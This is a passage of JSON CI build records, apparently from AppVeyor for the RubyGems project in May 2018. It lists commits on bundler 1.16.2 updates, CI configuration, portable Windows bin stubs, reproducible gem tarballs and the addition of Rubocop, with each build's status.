update","branch":"master","isTag":false,"commitId":"605e1d20ddf785583e1117de8af236e828b40293","authorName":"MSP-Greg","authorUsername":"MSP-Greg","committerName":"MSP-Greg","committerUsername":"MSP-Greg","committed":"2018-05-21T14:06:36+00:00","pullRequestId":"2299","pullRequestName":"appveyor.yml update","messages":[],"status":"failed","started":"2018-05-21T15:01:52.5101474+00:00","finished":"2018-05-21T15:11:27.5814299+00:00","created":"2018-05-21T15:01:32.0646396+00:00","updated":"2018-05-21T15:11:27.5814299+00:00"},{"buildId":16014784,"jobs":[],"buildNumber":1171,"version":"1171","message":"Minor typo","branch":"master","isTag":false,"commitId":"60b7bcf77b30c7e77374405ca94b2a4c7628b5ba","authorName":"Darshan Baid","authorUsername":"frunkad","committerName":"GitHub","committerUsername":"web-flow","committed":"2018-05-21T14:18:10+00:00","pullRequestId":"2298","pullRequestName":"Minor typo: nokogiri","messages":[],"status":"failed","started":"2018-05-21T14:19:22.2704095+00:00","finished":"2018-05-21T14:28:41.5417263+00:00","created":"2018-05-21T14:19:08.6252128+00:00","updated":"2018-05-21T14:28:41.5417263+00:00"},{"buildId":16005160,"jobs":[],"buildNumber":1170,"version":"1170","message":"Reset hooks in test cases","branch":"master","isTag":false,"commitId":"d07f4e590437ecf237cb714040cdc6bca3a19c4b","authorName":"Samuel Giddins","authorUsername":"segiddins","committerName":"Samuel Giddins","committerUsername":"segiddins","committed":"2018-05-21T04:31:29+00:00","pullRequestId":"2297","pullRequestName":"Reset hooks in test cases","messages":[],"status":"failed","started":"2018-05-21T04:32:19.0457962+00:00","finished":"2018-05-21T04:40:08.8522871+00:00","created":"2018-05-21T04:32:08.9758723+00:00","updated":"2018-05-21T04:40:08.8522871+00:00"},{"buildId":15987610,"jobs":[],"buildNumber":1169,"version":"1169","message":"Install 2.7.7 to fix issues for Ruby < 2.5?","branch":"master","isTag":false,"commitId":"947452b041e2d7f7baf1fb745be3336ff1be912e","authorName":"MSP-Greg","authorUsername":"MSP-Greg","committerName":"MSP-Greg","committerUsername":"MSP-Greg","committed":"2018-05-19T18:47:39+00:00","pullRequestId":"2119","pullRequestName":"Make Windows bin stubs portable","messages":[],"status":"success","started":"2018-05-19T18:49:28.6136986+00:00","finished":"2018-05-19T19:07:49.2094517+00:00","created":"2018-05-19T18:49:17.5241977+00:00","updated":"2018-05-19T19:07:49.2094517+00:00"},{"buildId":15977295,"jobs":[],"buildNumber":1168,"version":"1168","message":"Install Bundler 1.16..2 if not","branch":"master","isTag":false,"commitId":"96cfca2782124ec020e210a9f30d9d2f456e824a","authorName":"MSP-Greg","authorUsername":"MSP-Greg","committerName":"MSP-Greg","committerUsername":"MSP-Greg","committed":"2018-05-18T22:46:03+00:00","pullRequestId":"2119","pullRequestName":"Make Windows bin stubs portable","messages":[],"status":"failed","started":"2018-05-18T22:50:07.0199281+00:00","finished":"2018-05-18T22:58:51.3502564+00:00","created":"2018-05-18T22:49:50.6388016+00:00","updated":"2018-05-18T22:58:51.3502564+00:00"},{"buildId":15976868,"jobs":[],"buildNumber":1167,"version":"1167","message":"Add bundler 1.16.2 install, all stubs portable","branch":"master","isTag":false,"commitId":"d1af76373ad0b7b5657fcdf57d193e4100384e14","authorName":"MSP-Greg","authorUsername":"MSP-Greg","committerName":"MSP-Greg","committerUsername":"MSP-Greg","committed":"2018-05-18T22:20:41+00:00","pullRequestId":"2119","pullRequestName":"Make Windows bin stubs portable","messages":[],"status":"failed","started":"2018-05-18T22:21:29.5622778+00:00","finished":"2018-05-18T22:31:04.955968+00:00","created":"2018-05-18T22:20:57.1107752+00:00","updated":"2018-05-18T22:31:04.955968+00:00"},{"buildId":15975020,"jobs":[],"buildNumber":1166,"version":"1166","message":"Make Windows bin stubs portable","branch":"master","isTag":false,"commitId":"ae9dc36a40743c231ff8221f3ba0e655a8a2b72e","authorName":"MSP-Greg","authorUsername":"MSP-Greg","committerName":"MSP-Greg","committerUsername":"MSP-Greg","committed":"2017-12-20T16:00:30+00:00","pullRequestId":"2119","pullRequestName":"Make Windows bin stubs portable","messages":[],"status":"failed","started":"2018-05-18T20:42:37.168686+00:00","finished":"2018-05-18T20:51:51.6256941+00:00","created":"2018-05-18T20:42:22.1693224+00:00","updated":"2018-05-18T20:51:51.6256941+00:00"},{"buildId":15931186,"jobs":[],"buildNumber":1165,"version":"1165","message":"Bump version to 2.7.7","branch":"2.7","isTag":false,"commitId":"17778fe2bba64d7cf4157b69c356aa382449d27f","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T08:28:36+00:00","messages":[],"status":"failed","started":"2018-05-17T08:31:06.2901729+00:00","finished":"2018-05-17T09:09:02.5632655+00:00","created":"2018-05-17T08:28:50.4505648+00:00","updated":"2018-05-17T09:09:02.5632655+00:00"},{"buildId":15930551,"jobs":[],"buildNumber":1164,"version":"1164","message":"bump version to 2.7.7","branch":"2.7","isTag":false,"commitId":"b1c9a92a3fb38607c890ddf32ef98a4447c94215","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T07:54:49+00:00","messages":[],"status":"failed","started":"2018-05-17T07:55:21.1197576+00:00","finished":"2018-05-17T08:30:57.9875596+00:00","created":"2018-05-17T07:55:01.4626426+00:00","updated":"2018-05-17T08:30:57.9875596+00:00"},{"buildId":15929242,"jobs":[],"buildNumber":1163,"version":"1163","message":"Auto merge of #2293 - rubygems:tweak-travis, r=hsbt","messageExtended":"Tweak Travis configuration\n\n# Description:\n\nBump latest versions of Ruby and only ignore bundler example with ruby-head.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"67e261fefe8b4329d2e620f6068868fb4c769e88","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-17T06:04:43+00:00","messages":[],"status":"failed","started":"2018-05-17T07:36:09.2415952+00:00","finished":"2018-05-17T07:44:16.8831355+00:00","created":"2018-05-17T06:38:24.3071561+00:00","updated":"2018-05-17T07:44:16.8831355+00:00"},{"buildId":15928828,"jobs":[],"buildNumber":1162,"version":"1162","message":"Auto merge of #2293 - rubygems:tweak-travis, r=hsbt","messageExtended":"Tweak Travis configuration\n\n# Description:\n\nBump latest versions of Ruby and only ignore bundler example with ruby-head.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"67e261fefe8b4329d2e620f6068868fb4c769e88","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-17T06:04:43+00:00","messages":[],"status":"failed","started":"2018-05-17T07:28:08.2322409+00:00","finished":"2018-05-17T07:36:03.0511456+00:00","created":"2018-05-17T06:04:48.6710238+00:00","updated":"2018-05-17T07:36:03.0511456+00:00"},{"buildId":15928742,"jobs":[],"buildNumber":1161,"version":"1161","message":"rake update_manifest","branch":"2.7","isTag":false,"commitId":"c4c85b5eb9fd237a086c490e59e09e4f73793069","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T05:59:27+00:00","messages":[],"status":"failed","started":"2018-05-17T06:51:46.6177333+00:00","finished":"2018-05-17T07:28:01.9100944+00:00","created":"2018-05-17T05:59:36.0437368+00:00","updated":"2018-05-17T07:28:01.9100944+00:00"},{"buildId":15928701,"jobs":[],"buildNumber":1160,"version":"1160","message":"Revert \"Ignore warnings for Gem::Util helpers before bundler-1.16.2 release\"","messageExtended":"This reverts commit e1b5e7a4886cc431f17b64754427b54ecf77e655.","branch":"2.7","isTag":false,"commitId":"d7f419bc45702b909106383e3df4e71759620adf","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T05:56:43+00:00","messages":[],"status":"failed","started":"2018-05-17T06:13:00.3033767+00:00","finished":"2018-05-17T06:51:31.6580187+00:00","created":"2018-05-17T05:56:56.2092502+00:00","updated":"2018-05-17T06:51:31.6580187+00:00"},{"buildId":15928432,"jobs":[],"buildNumber":1159,"version":"1159","message":"Auto merge of #2291 - rubygems:update-bundler-1-16-2, r=hsbt","messageExtended":"Update bundler-1.16.2\n\nhttps://github.com/bundler/bundler/blob/1-16-stable/CHANGELOG.md#1162-2018-04-20\n______________\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"2.7","isTag":false,"commitId":"dcf0155ff1cf70214903c5923b76981b991b5043","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T05:31:35+00:00","messages":[],"status":"failed","started":"2018-05-17T05:36:04.6805261+00:00","finished":"2018-05-17T06:12:36.1759213+00:00","created":"2018-05-17T05:31:48.8076799+00:00","updated":"2018-05-17T06:12:36.1759213+00:00"},{"buildId":15928374,"jobs":[],"buildNumber":1158,"version":"1158","message":"Bump latest versions of Ruby and only ignore bundler example with ruby-head.","branch":"master","isTag":false,"commitId":"3b3137a70459966b85012647b9299b58fe739933","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T05:23:02+00:00","pullRequestId":"2293","pullRequestName":"Tweak Travis configuration","messages":[],"status":"failed","started":"2018-05-17T05:28:02.1629365+00:00","finished":"2018-05-17T05:35:56.8473567+00:00","created":"2018-05-17T05:27:47.7980499+00:00","updated":"2018-05-17T05:35:56.8473567+00:00"},{"buildId":15927353,"jobs":[],"buildNumber":1157,"version":"1157","message":"Auto merge of #2292 - rubygems:update-appveyor, r=hsbt","messageExtended":"added 25-x64 on appveyor\n\n# Description:\n\nAdded Ruby 2.5 target on appveyor\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"aed3944498192e0fc6e59f2ee0debc3a58dc2bb6","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-17T03:28:33+00:00","messages":[],"status":"failed","started":"2018-05-17T03:54:13.0070945+00:00","finished":"2018-05-17T04:01:49.4977731+00:00","created":"2018-05-17T03:53:55.6145101+00:00","updated":"2018-05-17T04:01:49.4977731+00:00"},{"buildId":15927078,"jobs":[],"buildNumber":1156,"version":"1156","message":"Auto merge of #2292 - rubygems:update-appveyor, r=hsbt","messageExtended":"added 25-x64 on appveyor\n\n# Description:\n\nAdded Ruby 2.5 target on appveyor\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"aed3944498192e0fc6e59f2ee0debc3a58dc2bb6","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-17T03:28:33+00:00","messages":[],"status":"failed","started":"2018-05-17T03:28:48.151499+00:00","finished":"2018-05-17T03:36:36.4909571+00:00","created":"2018-05-17T03:28:37.6402017+00:00","updated":"2018-05-17T03:36:36.4909571+00:00"},{"buildId":15925503,"jobs":[],"buildNumber":1155,"version":"1155","message":"Auto merge of #2291 - rubygems:update-bundler-1-16-2, r=hsbt","messageExtended":"Update bundler-1.16.2\n\n# Description:\n\nhttps://github.com/bundler/bundler/blob/1-16-stable/CHANGELOG.md#1162-2018-04-20\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"3b3618fe955c1f2c47d8cc8f7d9cb2ca40a5e23e","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-17T00:33:14+00:00","messages":[],"status":"failed","started":"2018-05-17T00:59:50.6576009+00:00","finished":"2018-05-17T01:05:50.2708615+00:00","created":"2018-05-17T00:59:39.4070749+00:00","updated":"2018-05-17T01:05:50.2708615+00:00"},{"buildId":15925219,"jobs":[],"buildNumber":1154,"version":"1154","message":"added 25-x64 on appveyor","branch":"master","isTag":false,"commitId":"8a3d035b2e654dd7f7b9db07ca1f973beca3ad93","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T00:38:48+00:00","pullRequestId":"2292","pullRequestName":"added 25-x64 on appveyor","messages":[],"status":"success","started":"2018-05-17T00:39:38.1196174+00:00","finished":"2018-05-17T00:58:11.2117673+00:00","created":"2018-05-17T00:39:25.9967884+00:00","updated":"2018-05-17T00:58:11.2117673+00:00"},{"buildId":15925164,"jobs":[],"buildNumber":1153,"version":"1153","message":"Auto merge of #2291 - rubygems:update-bundler-1-16-2, r=hsbt","messageExtended":"Update bundler-1.16.2\n\n# Description:\n\nhttps://github.com/bundler/bundler/blob/1-16-stable/CHANGELOG.md#1162-2018-04-20\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"3b3618fe955c1f2c47d8cc8f7d9cb2ca40a5e23e","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-17T00:33:14+00:00","messages":[],"status":"failed","started":"2018-05-17T00:33:29.4275886+00:00","finished":"2018-05-17T00:38:38.0931027+00:00","created":"2018-05-17T00:33:18.4680291+00:00","updated":"2018-05-17T00:38:38.0931027+00:00"},{"buildId":15924878,"jobs":[],"buildNumber":1152,"version":"1152","message":"To use bundler-1.16.2 in test and preparation script","branch":"master","isTag":false,"commitId":"b54fe4d87b58b6df0dda1366fe74e6cc0bcf2b8f","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T22:52:44+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-17T00:24:37.2572555+00:00","finished":"2018-05-17T00:30:53.4866611+00:00","created":"2018-05-17T00:09:27.9656089+00:00","updated":"2018-05-17T00:30:53.4866611+00:00"},{"buildId":15924877,"jobs":[],"buildNumber":1151,"version":"1151","message":"To use bundler-1.16.2 in test and preparation script","branch":"update-bundler-1-16-2","isTag":false,"commitId":"839fd70a7445265cfa15b344c8a6395638719243","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T22:53:08+00:00","messages":[],"status":"failed","started":"2018-05-17T00:18:41.7868919+00:00","finished":"2018-05-17T00:24:27.811541+00:00","created":"2018-05-17T00:09:26.5418441+00:00","updated":"2018-05-17T00:24:27.811541+00:00"},{"buildId":15924806,"jobs":[],"buildNumber":1150,"version":"1150","message":"Workaround for appveyor for bundler 1.16.2","branch":"master","isTag":false,"commitId":"cb8f58adb8aaa7620ec4833418eb564cebdbbede","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:11:26+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-17T00:11:38.3736777+00:00","finished":"2018-05-17T00:18:34.9094153+00:00","created":"2018-05-17T00:04:29.7162382+00:00","updated":"2018-05-17T00:18:34.9094153+00:00"},{"buildId":15924802,"jobs":[],"buildNumber":1149,"version":"1149","message":"Workaround for appveyor for bundler 1.16.2","branch":"update-bundler-1-16-2","isTag":false,"commitId":"80ff37556bc9a3c5b3dade46eedbd85d87fd712d","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-17T00:04:06+00:00","messages":[],"status":"failed","started":"2018-05-17T00:04:35.7382417+00:00","finished":"2018-05-17T00:11:28.143872+00:00","created":"2018-05-17T00:04:20.3965853+00:00","updated":"2018-05-17T00:11:28.143872+00:00"},{"buildId":15924383,"jobs":[],"buildNumber":1148,"version":"1148","message":"Workaround for appveyor for bundler 1.16.2","branch":"master","isTag":false,"commitId":"1abefc548c5c5564b15de73e4b0585d42bcd70fd","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:11:26+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-16T23:48:29.5699169+00:00","finished":"2018-05-16T23:53:47.3386239+00:00","created":"2018-05-16T23:42:39.5874582+00:00","updated":"2018-05-16T23:53:47.3386239+00:00"},{"buildId":15924381,"jobs":[],"buildNumber":1147,"version":"1147","message":"Workaround for appveyor for bundler 1.16.2","branch":"update-bundler-1-16-2","isTag":false,"commitId":"b4b8bfba49b7a4aa2343becaf329d8b4786e827e","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:42:21+00:00","messages":[],"status":"failed","started":"2018-05-16T23:42:54.2261915+00:00","finished":"2018-05-16T23:48:22.7247201+00:00","created":"2018-05-16T23:42:36.0759125+00:00","updated":"2018-05-16T23:48:22.7247201+00:00"},{"buildId":15924153,"jobs":[],"buildNumber":1146,"version":"1146","message":"Workaround for appveyor for bundler 1.16.2","branch":"master","isTag":false,"commitId":"cda621f75f120973a8909af70691188164456a52","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:11:26+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-16T23:30:02.2753252+00:00","finished":"2018-05-16T23:35:28.955049+00:00","created":"2018-05-16T23:24:33.9024131+00:00","updated":"2018-05-16T23:35:28.955049+00:00"},{"buildId":15924151,"jobs":[],"buildNumber":1145,"version":"1145","message":"Workaround for appveyor for bundler 1.16.2","branch":"update-bundler-1-16-2","isTag":false,"commitId":"b70f349506fd5333e0abf7a8108d713d2014f2b0","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:24:19+00:00","messages":[],"status":"failed","started":"2018-05-16T23:24:47.3245041+00:00","finished":"2018-05-16T23:29:56.6871148+00:00","created":"2018-05-16T23:24:32.7658807+00:00","updated":"2018-05-16T23:29:56.6871148+00:00"},{"buildId":15923960,"jobs":[],"buildNumber":1144,"version":"1144","message":"Workaround for appveyor for bundler 1.16.2","branch":"master","isTag":false,"commitId":"6321515f9eb98579304c6f7462395d9c7fc9a90e","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:11:26+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-16T23:13:46.6968885+00:00","finished":"2018-05-16T23:15:26.0381696+00:00","created":"2018-05-16T23:11:40.7599611+00:00","updated":"2018-05-16T23:15:26.0381696+00:00"},{"buildId":15923958,"jobs":[],"buildNumber":1143,"version":"1143","message":"Workaround for appveyor for bundler 1.16.2","branch":"update-bundler-1-16-2","isTag":false,"commitId":"5ca1485eaed75045c619e1be66b67e9895767fa6","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T23:11:26+00:00","messages":[],"status":"failed","started":"2018-05-16T23:11:50.1262057+00:00","finished":"2018-05-16T23:13:41.0282951+00:00","created":"2018-05-16T23:11:34.4190491+00:00","updated":"2018-05-16T23:13:41.0282951+00:00"},{"buildId":15923709,"jobs":[],"buildNumber":1142,"version":"1142","message":"To use bundler-1.16.2 in test and preparation script","branch":"master","isTag":false,"commitId":"58be0a49f41dfd0a1dfab3ba743dee1fa9bd7c08","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T22:52:44+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-16T23:00:40.232335+00:00","finished":"2018-05-16T23:05:41.9034526+00:00","created":"2018-05-16T22:53:29.1676664+00:00","updated":"2018-05-16T23:05:41.9034526+00:00"},{"buildId":15923708,"jobs":[],"buildNumber":1141,"version":"1141","message":"To use bundler-1.16.2 in test and preparation script","branch":"update-bundler-1-16-2","isTag":false,"commitId":"839fd70a7445265cfa15b344c8a6395638719243","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T22:53:08+00:00","messages":[],"status":"failed","started":"2018-05-16T22:55:14.7113724+00:00","finished":"2018-05-16T23:00:30.5536976+00:00","created":"2018-05-16T22:53:26.6259979+00:00","updated":"2018-05-16T23:00:30.5536976+00:00"},{"buildId":15923527,"jobs":[],"buildNumber":1140,"version":"1140","message":"Update bundler-1.16.2","branch":"master","isTag":false,"commitId":"d24c1a7c177968d2df59ccf04852c6dc872c38b1","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T22:39:10+00:00","pullRequestId":"2291","pullRequestName":"Update bundler-1.16.2","messages":[],"status":"failed","started":"2018-05-16T22:47:01.8857698+00:00","finished":"2018-05-16T22:55:07.0459089+00:00","created":"2018-05-16T22:42:14.9504019+00:00","updated":"2018-05-16T22:55:07.0459089+00:00"},{"buildId":15923479,"jobs":[],"buildNumber":1139,"version":"1139","message":"Update bundler-1.16.2","branch":"update-bundler-1-16-2","isTag":false,"commitId":"99e98c2e76dc5772978978fb3e98b69d6ef1e829","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-16T22:39:10+00:00","messages":[],"status":"failed","started":"2018-05-16T22:39:34.071292+00:00","finished":"2018-05-16T22:46:52.8528056+00:00","created":"2018-05-16T22:39:22.5765737+00:00","updated":"2018-05-16T22:46:52.8528056+00:00"},{"buildId":15845290,"jobs":[],"buildNumber":1138,"version":"1138","message":"Auto merge of #2289 - anthraxx:fix/reproducible-build-gem-tarball, r=hsbt","messageExtended":"support SOURCE_DATE_EPOCH to make gem tar reproducible\n\nOptionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of Time.now to allow reproducible builds of created gem tarballs.\n\nIn case none is specified, fall back to the current time.\n\n# Description:\n\nThe problem is that using Time.now will change during time which makes created gem tarballs not reproducible (bit by bit identical).\n\nThis is related to making the .gemspec file''s itself reproducible: #2278\n\nSpec:\nhttps://reproducible-builds.org/specs/source-date-epoch/\n\nBuy-in:\nhttps://reproducible-builds.org/docs/buy-in/\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"97e60750d5b069d2b4e3fe8f31d5c40fad76ad8d","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-14T06:12:05+00:00","messages":[],"status":"success","started":"2018-05-14T06:46:11.4637612+00:00","finished":"2018-05-14T06:59:41.516687+00:00","created":"2018-05-14T06:45:59.634038+00:00","updated":"2018-05-14T06:59:41.516687+00:00"},{"buildId":15844863,"jobs":[],"buildNumber":1137,"version":"1137","message":"Auto merge of #2289 - anthraxx:fix/reproducible-build-gem-tarball, r=hsbt","messageExtended":"support SOURCE_DATE_EPOCH to make gem tar reproducible\n\nOptionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of Time.now to allow reproducible builds of created gem tarballs.\n\nIn case none is specified, fall back to the current time.\n\n# Description:\n\nThe problem is that using Time.now will change during time which makes created gem tarballs not reproducible (bit by bit identical).\n\nThis is related to making the .gemspec file''s itself reproducible: #2278\n\nSpec:\nhttps://reproducible-builds.org/specs/source-date-epoch/\n\nBuy-in:\nhttps://reproducible-builds.org/docs/buy-in/\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"97e60750d5b069d2b4e3fe8f31d5c40fad76ad8d","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-14T06:12:05+00:00","messages":[],"status":"success","started":"2018-05-14T06:12:26.2372549+00:00","finished":"2018-05-14T06:26:08.8286783+00:00","created":"2018-05-14T06:12:12.575893+00:00","updated":"2018-05-14T06:26:08.8286783+00:00"},{"buildId":15840871,"jobs":[],"buildNumber":1136,"version":"1136","message":"support SOURCE_DATE_EPOCH to make gem tar reproducible","messageExtended":"Optionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of Time.now to allow reproducible builds of created gem tarballs.\n\nIn case none is specified, fall back to the current time.","branch":"master","isTag":false,"commitId":"49f367de60a1fd667fe673a38224b7e9bf032f09","authorName":"anthraxx","authorUsername":"anthraxx","committerName":"anthraxx","committerUsername":"anthraxx","committed":"2018-05-13T19:13:21+00:00","pullRequestId":"2289","pullRequestName":"support SOURCE_DATE_EPOCH to make gem tar reproducible","messages":[],"status":"success","started":"2018-05-13T22:40:00.188463+00:00","finished":"2018-05-13T22:53:20.6986057+00:00","created":"2018-05-13T22:38:17.2923324+00:00","updated":"2018-05-13T22:53:20.6986057+00:00"},{"buildId":15840743,"jobs":[],"buildNumber":1135,"version":"1135","message":"support SOURCE_DATE_EPOCH to make gem tar reproducible","messageExtended":"Optionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of Time.now to allow reproducible builds of created gem tarballs.\n\nIn case none is specified, fall back to the current time.","branch":"master","isTag":false,"commitId":"e9873ec6f783284619805f42b1003cc973f6422b","authorName":"anthraxx","authorUsername":"anthraxx","committerName":"anthraxx","committerUsername":"anthraxx","committed":"2018-05-13T19:13:21+00:00","pullRequestId":"2289","pullRequestName":"support SOURCE_DATE_EPOCH to make gem tar reproducible","messages":[],"status":"success","started":"2018-05-13T22:25:53.6152589+00:00","finished":"2018-05-13T22:39:51.0631014+00:00","created":"2018-05-13T22:25:32.9694314+00:00","updated":"2018-05-13T22:39:51.0631014+00:00"},{"buildId":15831200,"jobs":[],"buildNumber":1134,"version":"1134","message":"Auto merge of #2250 - rubygems:colby/rubocop, r=duckinator","messageExtended":"Add Rubocop\n\n# Description:\n\nThis PR introduces Rubocop to help with fixing outdated styles being used in the project and help developers stick to a style that can be tested against.\n\nInitially, Rubocop is only checking `lib/rubygems.rb` but i plan to work on adding more files for Rubocop to check and eventually have Rubocop covering the rest of the repository.\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"3d40b300c7c852bada8d2569f55769bc7b5ae12f","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-13T05:20:23+00:00","messages":[],"status":"success","started":"2018-05-13T05:46:17.6476608+00:00","finished":"2018-05-13T05:59:18.823861+00:00","created":"2018-05-13T05:46:07.7565637+00:00","updated":"2018-05-13T05:59:18.823861+00:00"},{"buildId":15831068,"jobs":[],"buildNumber":1133,"version":"1133","message":"Auto merge of #2250 - rubygems:colby/rubocop, r=duckinator","messageExtended":"Add Rubocop\n\n# Description:\n\nThis PR introduces Rubocop to help with fixing outdated styles being used in the project and help developers stick to a style that can be tested against.\n\nInitially, Rubocop is only checking `lib/rubygems.rb` but i plan to work on adding more files for Rubocop to check and eventually have Rubocop covering the rest of the repository.\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of 